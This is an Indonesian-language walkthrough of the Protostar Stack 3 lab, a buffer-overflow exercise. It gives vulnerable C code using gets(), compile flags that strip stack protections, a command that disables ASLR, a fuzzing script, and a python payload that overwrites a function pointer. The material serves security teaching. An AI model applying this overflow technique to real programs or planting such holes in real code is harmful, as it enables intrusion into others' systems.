Protostar Stack 3
Alat dan Bahan
- Fail: vuln.c
- Kompiler: GCC
- Sistem operasi: Debian 9 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
- Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o vuln -ggdb vuln.c
Penjelasan
-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.
-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).
-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi
-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.
-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
- Mematikan ASLR
Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Identifikasi Kelemahan
$ ./vuln
1
Program menerima input dari stdin
kemudian diproses melalui fungsi gets
yang vulnerable. Tujuan akhirnya adalah menimpa variabel fp
dengan jumlah buffer tertentu agar fungsi win
bisa dipanggil.
fsi.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Eksploitasi
$ ./fsi.sh vuln
...
63
64
65
calling function pointer, jumping to 0x00000041
...
Dengan jumlah buffer sebesar 65 byte variabel fp
berhasil ditimpa dengan nilai 0x00000041
. Agar fungsi win
bisa dipanggil maka tambahkan alamat win
pada akhir payload.
$ gdb -q vuln
Reading symbols from vuln...done.
(gdb) b main
Breakpoint 1 at 0x638: file vuln.c, line 16.
(gdb) r
Starting program: /home/user/Private/progress/stack/vuln
Breakpoint 1, main (argc=1, argv=0xffffd314) at vuln.c:16
16 fp = 0;
(gdb) p &win
$1 = (void (*)()) 0x565555f0 <win>
(gdb) q
$ python -c 'print "A"*64 + "\xf0\x55\x55\x56"' | ./vuln
calling function pointer, jumping to 0x565555f0
code flow successfully changed
...